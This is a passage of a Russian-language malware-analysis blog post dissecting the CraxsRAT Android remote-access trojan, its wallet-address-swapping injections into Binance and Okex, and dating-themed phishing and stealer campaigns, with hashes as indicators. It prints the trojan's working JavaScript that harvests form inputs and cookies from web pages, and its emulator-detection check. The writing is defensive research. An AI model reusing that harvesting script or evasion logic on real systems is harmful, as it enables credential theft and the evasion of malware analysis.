И тоже работает с компонентами device-admin, ime, accessibility. На иконке приложения изображён логотип настоящего сервиса:
Запрашиваемые права в соответствии с AndroidManifest.xml:
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.CALL_PHONE
android.permission.CAMERA
android.permission.CHANGE_WIFI_STATE
android.permission.DISABLE_KEYGUARD
android.permission.FOREGROUND_SERVICE
android.permission.GET_ACCOUNTS
android.permission.INTERNET
android.permission.READ_CALL_LOG
android.permission.READ_CONTACTS
android.permission.READ_EXTERNAL_STORAGE
android.permission.READ_PHONE_STATE
android.permission.READ_SMS
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECORD_AUDIO
android.permission.REQUEST_DELETE_PACKAGES
android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
android.permission.REQUEST_INSTALL_PACKAGES
android.permission.SEND_SMS
android.permission.SET_WALLPAPER
android.permission.SYSTEM_ALERT_WINDOW
android.permission.USE_FULL_SCREEN_INTENT
android.permission.WAKE_LOCK
android.permission.WRITE_EXTERNAL_STORAGE
com.android.alarm.permission.SET_ALARM
com.huawei.permission.external_app_settings.USE_COMPONENT
oplus.permission.OPLUS_COMPONENT_SAFE
oppo.permission.OPPO_COMPONENT_SAFE
Активности:
MainActivity, SecondActivity, WakeupActivity, RequestUninstall, RequestInstallPrim, RequestScreenCap, CameraActvity, CraxsBrowser, FloatingView, installupdate, flyActivity, OpenActivity, OpenChrome, isOver, RequestDataUsage, RequestVPN, RequestOPPOB, RequestPermission2, RequestKeyboard, RequestAdmin
Сервисы:
MyJobService, KeyboardService, initializeService, CameraHandler, LocationService, AccessService, BackgroundWorker, FirewallServices
Ресиверы:
 – CustomReceiver (RestartSensor);
 – Datareciver (android.intent.action.DATE_CHANGED);
 – AdminReceiver (android.app.action.DEVICE_ADMIN_ENABLED);
 – ScreenReceiver (android.intent.action.SCREEN_ON, android.intent.action.SCREEN_OFF, android.intent.action.ACTION_POWER_CONNECTED, android.intent.action.ACTION_POWER_DISCONNECTED, android.intent.action.USER_PRESENT);
 – PackagesReceiver (android.intent.action.PACKAGE_INSTALL, android.intent.action.PACKAGE_ADDED, android.intent.action.PACKAGE_REMOVED, android.intent.action.PACKAGE_CHANGED, android.intent.action.MY_PACKAGE_REPLACED);
 – BootReceiver (android.intent.category.DEFAULT, android.intent.action.BOOT_COMPLETED, android.intent.action.ACTION_BOOT_COMPLETED, android.intent.action.QUICKBOOT_POWERON, com.htc.intent.action.QUICKBOOT_POWERON, android.intent.action.REBOOT, android.intent.action.LOCKED_BOOT_COMPLETED, miui.intent.action.BOOT_COMPLETEDT);

##~Обфускация

Наблюдаемые техники обфускации:
  • Замена названий компонентов на случайные значения. Пример кода:

  • Дробление кода на составные части и его распределение по отдельным классам. Так, например, выглядят некоторые компоненты иерархии пакетов одного из файлов:

  • Трансформация значений строк для усложнения человекочитаемости:
    • Преобразование строк в формат Base64. Далее я переименовала функцию для декодирования в base64decode:

    • Разбиение строк на подстроки со внедрением случайных символов между ними. Далее я переименовала функцию для извлечения в extractString:
>Опечатки
В осмысленных названиях компонентов обнаруживаются опечатки. Не до конца ясно, допускал ли их автор случайно, по той ли, например, причине, что английский – не родной язык автора, или же они были допущены намеренно, с целью затруднения обнаружения специалистами вредоносных элементов приложения путём поиска конкретных подстрок или с целью обхода техник классификации ПО, как вредоносного, на основании наличия ключевых любопытных слов.

Примеры опечаток:

Используемое названиеКорректное название
MyAudoRecorderMyAudioRecorder
StoragPermissionsStoragePermissions
daterecever / DataReciverDataReceiver
ask_battaryask_battery
DeleDel / Delete
SaveTouchsSaveTouches
RepetRepeat
TregerTrigger
NeedNotifiNeedNotify / NeedNotification

##~Автозапуск

Как в MainActivity, так и в SecondActivity происходит вызов метода getAutoStartPermission, который проверяет бренд заражённого мобильного устройства (Build.BRAND), а после – вызывает соответствующий бренду метод для настройки прав на автоматический запуск приложения и управление оптимизацией работы батареи:

##~Обнаружение отладки

Как в MainActivity, так и в SecondActivity реализован метод isEmu_DIV_ID_lator, который отвечает за обнаружение признаков отладки приложения:
После некоторой деобфускации кода, который изображён на скриншоте выше, возвращение функции выглядит таким образом:
return (Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic")) || Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith(EnvironmentCompat.MEDIA_UNKNOWN) || Build.HARDWARE.contains("goldfish") || Build.HARDWARE.contains("ranchu") || Build.MODEL.contains("google_sdk") || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android built SDK for x86") || Build.MANUFACTURER.contains("Genymotion") || Build.PRODUCT.contains("sdk_google") || Build.PRODUCT.contains("google_sdk") || Build.PRODUCT.contains("sdk") || Build.PRODUCT.contains("sdk_x86") || Build.PRODUCT.contains("sdk_gphone64_arm64") || Build.PRODUCT.contains("vbox86p") || Build.PRODUCT.contains("emulator") || Build.PRODUCT.contains("simulator");
Функция использует статические поля класса Build пакета android.os для выявления названий: бренда (BRAND), отпечатка (FINGERPRINT), аппаратного обеспечения (HARDWARE), модели (MODEL), производителя (MANUFACTURER) и в целом устройства как продукта (PRODUCT) – она извлекает информацию о сборке из системных настроек и анализирует полученные значения на включение подстрок, которые могут означать использование технологий эмуляции.
В случае, если приложение выявляет использование эмулятора, оно выводит сообщение об отсутствии поддержки эмулированных устройств:

##~Общение с C&C сервером

В сервисе initializeService определены переменные ClientHost, ClientPort и ConnectionKey, содержащие IP адрес C2 сервера, порт и ключ подключения соответственно:
Оба варианта вредоносного ПО использовали сервисы для создания временных туннелей между локальным компьютером и Интернетом для организации связи с сервером. В одном случае это был ngrok[.]io, в другом – playit[.]gg, позиционирующий себя как глобальный прокси для игровых серверов.
Общение с C2 сервером реализуется через вызов методов специально выделенного класса. Так, например, функция sendBytes отвечает за открытие нового сокета с указанием рассмотренных ранее ClientHost и ClientPort, создание потока данных и запись в него значения аргумента bArr:

##~Логирование

Вредоносное приложение производит логирование некоторых данных: реализованы функции writeJSONToFile и readJSONFromFile, которые отвечают за чтение и запись обрабатываемых в ходе выполнения вредоносных модулей JSON объектов в/из локальных файлов.
При записи JSON объекта в файл, JSON объект преобразуется в строку и шифруется с помощью метода encrypt класса EncryptionCUtils:
А при чтении JSON объекта из файла – считанные данные дешифруются с помощью метода decrypt того же класса:
Класс EncryptionCUtils целиком отвечает за шифрование и дешифрование данных. Здесь алгоритм шифрования – AES с использованием жестко закодированного секретного 128-битного ключа SECRET_KEY:

##~Запись аудио

При развёртывании функциональности вредоносного ПО инициализируется объект класса VoiceRecorder, который называется MyAudoRecorder:
Класс VoiceRecorder позволяет оператору вредоносного ПО записывать звук. Определённый внутри класса метод start инициализирует новый объект класса MediaRecorder пакета android.media:
  • При вызове метода setAudioSource в качестве аргумента функции передаётся число 1, что соответствует значению статического свойства MIC и означает установку микрофона в качестве источника звука;
  • При вызове метода setOutputFormat в качестве аргумента функции также передаётся число 1, что соответствует значению статического свойства THREE_GPP и означает выбор 3GPP в качестве формата результирующего файла;
  • При вызове метода setAudioEncoder в качестве аргумента функции также передаётся число 1, что соответствует значению статического свойства AMR_NB и означает выбор AMR в качестве аудиокодека;
В случае активации данного вредоносного модуля происходит запуск записи звука с микрофона заражённого устройства и сохранение аудио-записи в локальный WAV файл на внешнем хранилище.

##~Отслеживание геопозиции

Приложение запрашивает права на доступ как к приблизительному (ACCESS_COARSE_LOCATION), так и к точному местоположению (ACCESS_FINE_LOCATION) заражённого мобильного устройства.
Кроме того, в приложении определён класс LocationService – сервис, отвечающий за отслеживание геопозиции. В частности, например, в нём реализована функция onLocationChanged, которая выполняется в случае несоответствия известных сервису долготы и широты, координат последнего местоположения устройства, текущим. Функция заменяет значения полей, которые хранят данные о широте (lastKnownLatitude), долготе (Longting), точности (letliudid) и скорости движения геопозиции (sp), на новые:

##~Управление прикосновениями

Объёмным модулем, функции которого распределены по разным секциям приложения, оказалась функциональность управления прикосновениями, напрямую вытекающая из выдачи атакуемым пользователем приложению права использовать "Специальные возможности".
Так в рамках сервиса AccessService определён метод TouchWatcher, который производит определённые действия, направленные на управление прикосновениями, в соответствии с передаваемым ему значением:
  • Аргумент в значении "Record" запустит case 0: определит, запущена ли в данный момент запись прикосновений, исходя из значения переменной RecordTouch, в неудовлетворительном случае – произведёт запуск записи;
  • Аргумент в значении "Stop" запустит case 1: определит, запущена ли в данный момент запись прикосновений, исходя из значения переменной RecordTouch, в удовлетворительном случае – сохранит запись прикосновений в массив и запишет его, после чего сбросит значение переменной RecordTouch в позицию false и очистит массив прикосновений;
  • Аргумент в значении "Repet" запустит case 2: загрузит запись прикосновений, располагающуюся по пути, который передаётся в качестве второго аргумента функции, и повторит каждое записанное в ней действие;
  • Аргумент в значении "Start" запустит case 3: инициализирует Handler с фоновым потоком, в который передаётся выполнение операций;
Каждый случай сопровождается отправкой C2 серверу сообщений о результирующем статусе попытки исполнения той или иной команды.
За сохранение записи прикосновений отвечает метод SaveTouchs класса MySettings. Он формирует JSON объект из передаваемого ему словаря координат прикосновений, после чего преобразует его в строку и записывает в JSON файл на внешнем хранилище, в папку /Config/sys/apps/tch:
За загрузку записи прикосновений отвечает метод LoadTouches класса MySettings. Он, напротив, считывает массив прикосновений из JSON файла, который располагается на внешнем хранилище в папке /Config/sys/apps/tch, и возвращает словарь координат:
Некоторые жесты и действия вынесены в специально выделенные функции-заготовки. Так, например, пролистывание вверх определено функцией slideUp, в которой прописана необходимая последовательность координат, преобразуемая в массив точек, используемый функцией mouseDraw:
Функция mouseDraw, в свою очередь, формирует из массива точек путь, из которого строится описание отправляемого устройству жеста:
По такому же принципу работает функция mockGesture класса PerformGestureUtil, используемая для отложенной имитации жестов, повторения последовательности прикосновений, записанных в переменную thisAllSteps вместо локального файла, при разблокировке устройства или при проведении оплаты:
К тому же многие заготовки действий предполагают клики по произвольным координатам. Для этого определена функция click, которая вызывает другую функцию, clickAtPosition, передавая ей свои аргументы i и i2, а также узел – корень активного окна. Функция clickAtPosition проверяет наличие координат i и i2 внутри узла и его детей и, в случае удовлетворения условия, производит действие над элементом, выполняя accessibilityNodeInfo.performAction(16), где число 16 в качестве аргумента означает ACTION_CLICK – клик по элементу:

##~CraxsBrowser

Самый важный вредоносный модуль, отличающий обновлённую версию от более старой – это встроенный браузер CraxsBrowser. Он определён в классе CraxsBrowser и в его основе лежит клиент Chrome:
При создании экземпляра браузера производится установка необходимых значений параметров настроек: включение поддержки JavaScript, активация DOM-хранилища, выдача доступа к файлам и другое:
Любопытно здесь создание новых потоков исполнения с объектами класса AnonymousClass3. Объект такого класса инициализирует Handler с фоновым потоком, в который, в свою очередь, передаётся объект класса AnonymousClass1, который выполняет функцию getPassword, передавая ей mWebView.
Функция getPassword исполняет JavaScript в контексте переданного WebView и вызывает объект класса AnonymousClass4 в качестве callback функции:
JavaScript, исполняемый в контексте переданного WebView, создаёт новый iframe-элемент, связывая его с переменной frame, переопределяет console, чтобы он указывал на console созданного iframe, а также записывает список input-элементов в переменную inputs, после чего, итерируясь по элементам этого списка, записывает их типы, потенциально полезные значения параметров value и значения Cookie, компонуя собранную информацию в возвращаемую переменную alltext:
var frame = null;

g = () => {
 if (!frame) {
  frame = document.createElement('iframe');
  frame.style.display = 'none';
  document.body.appendChild(frame);
 }

 console = frame.contentWindow.console;
 var inputs = document.querySelectorAll('input');
 var websiteLink = window.location.href;
 var alltext = "";

 inputs.forEach(function(input) {
  var type = input.getAttribute('type');
  var value = input.value;

  if (value !== "" && value !== null && type !== "hidden" && type !== "checkbox") {
   alltext += "[" + type + "]: " + value + "~" + "[Cookie]:" + document.cookie + "~";
  }
 });

 return alltext;
};

g();
Callback функция, объект класса AnonymousClass4, дополнительно оборачивает полученную информацию, добавляя ссылку на сайт, в который была произведена инъекция скрипта и из которого таким образом были извлечены данные пользователя, и передаёт её в метод access$100, перенаправляющий информацию в метод saveDataToFile, который кодирует её в Base64 и записывает в текстовый файл на внешнем хранилище, в папку /Config/sys/apps/Data:

##~Прочие инъекции в WebView

В отдельные функциональные блоки вредоносного ПО вынесены инъекции в WebView нескольких платёжных приложений, среди которых оказались и Binance с Okex. Для выявления использования таких приложений, обрабатываемые события AccessibilityEvent проверяются на удовлетворение перечню условий, в следствие чего происходит классификация конкретного сервиса и выбор соответствующей инъекции.
>Binance
Обрабатываемые события AccessibilityEvent проверяются на соответствие нескольким условиям, среди которых:
  • имя пакета (PackageName) равно com.binance.dev
  • имя ресурса (ViewIdResourceName) равно com.binance.dev:id/2131378415 или com.binance.dev:id/2131378375
При удовлетворении данных условий исполнение переходит к функции binanceinj:
Она устанавливает параметры настроек WebView, а также определяет предпочтительный язык пользователя и подбирает соответствующий HTML код, закодированный в Base64, который подгружается в WebView. HTML-страница представляет из себя подтверждение получения некоторой суммы в USDT на свой кошелёк. В декодированном варианте видно тег script, определяющий функцию transaction_info, которая подставляет значения из передаваемого ей словаря data в качестве значений элементов:
...
function transaction_info(data) {
 document.getElementsByClassName("usdt_amount")[0].innerHTML = data.usdt_amount;
 <!-- document.getElementsByClassName("usd_amount")[0].innerHTML = data.usd_amount; -->
 document.getElementsByClassName("chain")[0].innerHTML = data.chain;
 document.getElementsByClassName("from")[0].innerHTML = data.from;
 document.getElementsByClassName("to")[0].innerHTML = data.to;
 document.getElementsByClassName("fee")[0].innerHTML = data.fee;
 document.getElementsByClassName("total_amount")[0].innerHTML = data.total_amount;
}
...
В TextView устанавливается прослушиватель кликов, и по клику, с использованием "Специальных возможностей", некоторые пользовательские данные, такие как адрес USDT кошелька и хранимое на нём число USDT, записываются в переменные usdtaddress и usdtamount. В процессе инъекции, в рамках метода sendOldValue класса Binance, в WebView также выполняется JavaScript код, вызывающий функцию transaction_info и, следовательно, устанавливающий значения элементов инъецированной страницы. Схематично:
В остальном основной флоу инъецирования WebView как Binance и Okex, так и других платёжных приложений совпадает и описывается далее.
>Okex
Устанавливаемый в TextView прослушиватель кликов, помимо записи адреса пользовательского USDT кошелька и значения суммы, хранящейся на нём, в переменные, также по клику производит принудительное редактирование значений в узлах com.okinc.okex.gp:id/addressInput, элементах ввода адреса кошелька, на другое значение usdtaddress, определённое во вредоносном приложении в сервисе initializeService, и принудительные клики по кнопкам, обозначающим всю сумму (com.okinc.okex.gp:id/allAmount) и подтверждение действия (com.okinc.okex.gp:id/confirmBtn):
Редактируемые поля внешне перекрываются легитимными пользовательскими данными, собранными вредоносным приложением, для чего реализован метод showFloat:

##~Прочие заметки

>Язык
Некоторые внедряемые элементы подбираются в соответствии с языком системы атакуемого пользователя. Список языков для взаимодействия с атакуемым включает в себя: английский, японский, корейский, китайский, арабский и турецкий.
В зависимости от вредоносного модуля набор языков может незначительно отличаться: иногда добавляются включения на русском и португальском языках, а также пропадает поддержка арабского языка.
Но основным языком, на котором изначально прописаны значения переменных и редкие комментарии, является китайский язык – насколько известно, родной язык текущего основного продавца и источника обновлений программного обеспечения для оперирования этим вредоносным ПО.
Примечательно, что основной продавец данного ПО указывает в своём Telegram канале отличающийся перечень языков в качестве списка поддерживаемых: английский, арабский, китайский, турецкий, португальский, русский и испанский.
>Классификация
Исходя из направленности богатой функциональности, которая не ограничивается многообразием описанных мною вредоносных модулей, напрашивается вывод о том, что вредоносное приложение является представителем семейства вредосносных инструментов удалённого администрирования – RAT. Благодаря явному указанию названия реализованного браузера, CraxsBrowser, можно сделать вывод о том, что мною был проанализирован экземпляр вредоносного ПО, именуемого CraxsRAT.
CraxsRAT – наиболее свежий наследник CypherRAT, SpyNote и SpyMax. Его называют одним из самых опасных троянов для удалённого доступа, а программное обеспечение для оперирования устройствами, заражёнными этим RAT, оценивается как одно из самых дорогих на рынке.
Ранее разработкой и продажей CypherRAT и CraxsRAT занимался сирийский киберпреступник, который позже, после публикации исходного кода CypherRAT и публикации отчёта о раскрытии его личности, передал управление Telegram каналом китайскому коллеге.
Наиболее новая версия, как утверждает текущий основной продавец, включает в себя как минимум следующую функциональность:
  • Управление файлами: скачивание файлов с устройства, загрузка файлов на устройство, удаление, просмотр, поиск, копирование, вставка, шифрование и дешифрование, кодирование и декодирование, сокрытие и раскрытие;
  • Управление SMS: просмотр, удаление, отправка SMS;
  • Управление камерой: включение и выключение камер, возможность снятия фотографий;
  • Управление микрофоном: прослушивание и запись звука с микрофона устройства;
  • Отслеживание местоположения: отслеживание геопозиции устройства в реальном времени;
  • Управление экраном: просмотр экрана в реальном времени, блокировка и разблокировка экрана, создание тихих скриншотов;
  • Управление звонками: просмотр списка звонков, удаление звонков из списка, инициация звонка, прослушивание и запись звонков;
  • Управление уведомлениями: просмотр списка уведомлений, отправка уведомлений;
  • Управление приложениями: просмотр списка приложений, запуск, установка и удаление приложений, просмотр связанных аккаунтов, инъецирование в браузер и приложения, отключение Интернет-соединения для конкретных приложений;
  • Управление прикосновениями: запись и воспроизведение записей прикосновений, клавиатурного ввода;
  • Удалённое управление: запуск произвольных команд, автоматическая и ручная выдача прав, самоуничтожение;
>Индикаторы компрометации
Filenamestreamtwit.apk
MD5d77e319cc5d06275f78ab15bd5387244
SHA18bff0412612bb46fc565ef4cb91948879f45d7bc
SHA256d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
VirusTotalvirustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688/details
FilenameBongaCamSexs.apk
MD565841b046a4069d2a84e01c2e430effc
SHA1fb862581c245859000062ff250fcb27789678876
SHA256243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
VirusTotalvirustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74/details

#Прочие ситуации

##Фишинг

##~Кража платёжной информации

Фишинговые сайты, очевидно, не ограничиваются лишь сервисами покупок билетов в театр. Это проблема, покрывающая целый спектр тем для оказания влияния на большую целевую аудиторию, и её плоды затрагивают как Российскую Федерацию, так и другие страны. Вот, например, аналог рассмотренного выше фишингового сайта драматического театра, нацеленный на азербайджанскую аудиторию (некоторые его страницы, впрочем, всё же сохранили русскую локализацию):
Сервис FOFA, отталкиваясь лишь от хеша иконки веб-приложения, находит более 100 сайтов, полностью аналогичных проанализированному, а результаты поиска в поисковых системах по запросу на точное включение строки "Знаменитый театр, где каждый спектакль создает новая уникальная команда" пестрят большим числом подходящих страниц, среди которых и автоматически сгенерированные отчёты об анализе страниц в онлайн-песочницах.
Стоит заметить, что качественно проанализировать такой сайт с помощью автоматических инструментов – непростая задача, потому большая часть их оценок онлайн-сервисами – ложно отрицательная, и пользователям остаётся полагаться лишь на отзывы, если они в принципе есть, и рейтинг, составляемый такими же пользователями. В частности, изученный мною сайт театра был классифицирован как фишинговый сайт лишь продуктом Kaspersky, вероятно, в силу локальной известности.
Тематика в сфере Интернет-знакомств тоже варьируется и включает в себя веб-приложения для продажи билетов в театры и кинотеатры, на автобусы, поезда и самолёты, для бронирования гостиниц, отелей, квартир и ресторанов, для оплаты такси, подписок и путёвок, и многое другое.

##~Кража данных учётных записей

Пользуются популярностью среди злоумышленников и фишинговые сайты, маскирующиеся под страницы с формами аутентификации в приложения для знакомств. Этот вид фишинга более распространён за рубежом, в связи с практически однозначным лидированием там конкретных приложений. Он требует использования lookalike-домена и иногда подразумевает переход пользователя к форме по ссылке из письма, уведомляющего о взаимной симпатии в целевом приложении:
Команда Threat Intelligence компании Egress подсчитала, что 53.25% случаев имперсонации в рамках фишинговой кампании, затронувшей организации в Северной Америке и Великобритании, пришлись на Tinder, 22.88% – на Bumble и ещё 14.46% – на Hinge. К слову, они также заметили, что как минимум 85% случаев фишинга были нацелены именно на мужчин.
Такой фишинг, в отличие от рассмотренного ранее, нацелен не столько на прямую кражу платёжной информации, сколько на кражу данных учётных записей пользователей для последующего взлома связанных аккаунтов и произведения злоумышленниками действий, направленных на извлечение выгоды (поиск платёжной информации, поиск компрометирующий информации, шантаж, ...).

##Эксплуатация

За последнее время специалистами было выявлено сразу несколько схожих крупных операций, успех которых ярко продемонстрировал положение дел на стыке, где встречаются пользователь и атакующие, в сфере Интернет-знакомств и прилежащих областях, и о которых мне хотелось бы вспомнить.
Все эти кампании объединяют следующие факторы:
  • Вредоносные файлы с полезной нагрузкой рассылаются по социальным сетям от лиц фейковых аккаунтов, как в тематические группы (знакомства, взрослый контент), так и лично пользователям, после непродолжительного знакомства
  • Распространяемое вредоносное ПО замаскировано под архивы с фотографиями девушек
  • В результате эксплуатации происходит кража сведений (Cookie, данные учётных записей, сохранённых в браузерах, токены Discord и информация о системе)

##~Album Stealer


Прошлой зимой команда исследователей Zscaler ThreatLabz обнаружила распространение стилера, получившего название Album.

Стилер распространялся от лиц фейковых аккаунтов в социальной сети, содержащих женские фотографии, и по задумке представлял из себя архив, "альбом", с фотографиями. Скачать его атакуемым предлагалось в основном с сервиса для хранения файлов Microsoft OneDrive, либо с подконтрольного атакующему вредоносного ресурса с такими названиями, как: keeptosafe[.]top, shopalbum[.]xyz, findalbum[.]top, ...

Вредоносный архив содержит:
  • исполняемый файл Album.exe
  • DLL-библиотеку PdfiumControl.dll
  • файл data.dat
Album.exe – легитимный экземпляр TresoritPdfViewer, уязвимый к атаке DLL sideloading. При его исполнении происходит эксплуатация уязвимости – подгрузка вредоносного PdfiumControl.dll, который, в свою очередь, инициирует запуск data.dat – самораспаковывающегося архива, который действительно оставляет за собой фотографии девушек. В это же время вредоносная DLL-библиотека дешифрует включенное в неё содержимое, генерируя на заражённом устройстве файлы:
  • \%AppData%\Roaming\Canon\CNQ.exe
  • \%AppData%\Roaming\Canon\Curl.dll
  • \%AppData%\Roaming\Canon\Lenovo.TVT.CustomerFeedback.Manager.dll
  • \%AppData%\Roaming\Canon\log4net.dll
Далее происходит исполнение CNQ.exe – ещё одного экземпляра легитимного ПО, уязвимого к той же атаке. К нему подключается вредоносная библиотека Curl.dll, которая:
  1. создаёт запись в реестре для закрепления – автоматического запуска при старте системы
  2. скачивает с удалённого ресурса и локально сохраняет файл sparkle-windows.xml, из которого извлекается ссылка на скачиваемый архив \%AppData%\Roaming\Canon\app{18_цифр}.zip, который, в свою очередь, после распаковки, помимо прочего, оставляет на заражённом устройстве файлы DiskCompactionTool.exe и WDLocale.dll
По аналогии с предыдущими случаями, DiskCompactionTool.exe – легитимный экземпляр ПО WD Sync, подгружающий вредоносную библиотеку WDLocale.dll.

Процесс повторяется: вредоносная библиотека скачивает архив \%AppData%\Roaming\Bluestack\app{18цифр}.zip и распаковывает его.

Взаимодействие извлечённых легитимного Bravia.exe и вредоносного CNQMUTIL.dll приводит к краже чувствительной информации. Стилер ищет все файлы внутри каталога %AppData%, содержащие в названии:
  • Local State
  • Login Data
  • Cookies
  • cookies.sqlite
Он копирует их в специально выделенную папку, после чего обрабатывает:
  1. дешифрует, извлекая данные учётных записей, которые были сохранены в браузерах
  2. дешифрует, извлекая Cookie
  3. собирает информацию о бизнес и рекламных аккаунтах
  4. отправляет собранные данные на C2 сервер

##~OnlyDcRatFans

Прошлым летом результаты столкновения с вредоносной кампанией описали уже специалисты компании eSentire.

Вредоносное ПО тоже распространялось под видом архивов с фотографиями девушек и состояло из VBScript-загрузчика, представляющего из себя модифицированный легитимный Windows скрипт для взаимодействия с принтерами. Загрузчик включает в себя полезную нагрузку, шеллкод и DLL-библиотеку dynwrapx.dll. Библиотека используется для получения доступа к объекту DynamicWrapperX, с помощью которого загружаются CallWindowProcW из user32.dll и VirtualAlloc из kernel32.dll. Полезная нагрузка загружается в память, после чего вызывается CallWindowProcW для исполнения шеллкода, что позволяет инъецировать полезную нагрузку в \Microsoft.NET\Framework\v4.0.30319\RegAsm.exe.

Во всех наблюдаемых случаях полезной нагрузкой оказался DcRAT – одна из версий AsyncRAT. Он, помимо прочего, предоставляет возможности:
  • удалённого доступа
  • кейлоггинга
  • управления камерой
  • управления файлами
  • кражи данных из браузеров
  • кражи токенов Discord
  • расширение для шифрования и вымогательства

##~Steal-It Campaign

Источник: Zscaler, ‟Steal-It Campaign
Уже осенью специалисты Zscaler вновь наткнулись на хакерскую кампанию того же характера, в этот раз – довольно масштабную и, что любопытно, целевую.

В зависимости от типа собираемой информации и необходимых характеристик жертв, каждый случай в рамках исследуемой кампании можно классифицировать как один из 4 сценариев. Пара из этих сценариев подразумевает сокрытие вредоносного ПО под видом фотографий девушек. Вспомним именно эти случаи.

Пользователю в руки попадает архив, внутри которого располагается файл ярлыка LNK. Попытка открыть ярлык приводит к запуску браузера с аргументом командной строки, представляющем из себя JavaScript код, который открывает сайт OnlyFans и перенаправляет через location.href на подконтрольный атакующим инстанс run[.]mocky[.]io приложения Mocky, позволяющего генерировать произвольные ответы для лёгкого моделирования поведения бекенда в ходе разработки. Вредоносная страница заключает в себе JavaScript код, проверяющий, что операционная система пользователя – Windows, а страна, определяемая IPAPI, геолокационным API, – Австралия, и при удовлетворении условий скачивает вредоносный LNK-файл m8 из blob, а также перенаправляет на некоторый легитимный сайт. Скачанный файл помещается в качестве ярлыка в каталог для автоматического запуска со стартом системы.

Ярлык m8.lnk скачивает с сервиса атакующих m8.cmd и располагает его рядом с собой. Выполнение m8.cmd означает:
  • запуск команд ipconfig, systeminfo, tasklist
  • отправку вывода команд в формате Base64 на управляющий сервер

Другой сценарий во многом совпадает с предыдущим: атакуемые пользователи заражают устройства получив архив с заветными фотографиями и открыв хранящийся внутри ярлык, который открывает браузер и перенаправляет на run[.]mocky[.]io. Теперь же перед выполнением вредоносных действий они проверяют, что страна пользователя – Польша.

При удовлетворении условий на устройство скачивается другой архив, внутри которого можно наблюдать настоящие фотографии славянских девушек и единичный batch script файл. Исполнение последнего приводит к записи вредоносного VBScript, последующему открытию веб-сайта с профилями девушек в сервисах подписок на контент, скачиванию и запуску другого CMD файла с сайта mockbin[.]org – другого сервиса, подобного Mocky.

Финальный исполняемый файл eucv8o.cmd:
  • выполняет команду whoami
  • отправляет вывод команды в формате Base64 на управляющий сервер

#Пища для размышлений

С каждым годом число киберпреступлений, которые играют на тянущем чувстве одиночества, эксплуатируют низменные человеческие потребности и берут начало там, где человек ищет избавления, лишь растёт – об этом заявляет каждое исследование связанной статистики.

The last quarter of last year was very interesting for dating scams, with several large campaigns witnessed through our data. In Q1/2024, we saw a significant increase since the middle of February.

Источник: Avast
<...> they noted a staggering 43% increase in attacks impersonating well-established dating apps including Tinder and Hinge between January 1, 2024, until February 5, 2024, compared to 2023.

Источник: Egress Threat Intelligence
In 2023, more than 660 million bot requests on popular dating apps were detected.

Источник: Cequence
С 12 по 14 февраля по схеме Fake Date скамеры из 5 группировок заработали 2 275 870 руб., что в 2 раза больше, чем за аналогичный период в прошлом году, посчитали аналитики F.A.C.C.T. Для сравнения, в 2023 году мошенники из 7 скам-групп смогли украсть у жертв 1,1 млн руб.

Источник: F.A.C.C.T.


Желание сблизиться с кем-то в помощью сервиса для знакомств, желание пообщаться с девушкой в её любимом чате, желание просмотреть её фотографии, которые она для тебя сделала – всё это более не безопасно и может привести к неожиданным последствиям. Осторожность приводит к подозрениям, а подозрения подрывают доверие, без которого нельзя выстроить отношения. Именно здесь, в романтической сфере, стирается граница между незнакомцами и потенциальными половинками, между опасным и любопытным, между попыткой уберечь себя и попыткой выстроить стену – и это страшно. В данном вопросе каждый гораздо более уязвим, чем обычно, и атакующие активно будут продолжать этим пользоваться без зазрения совести.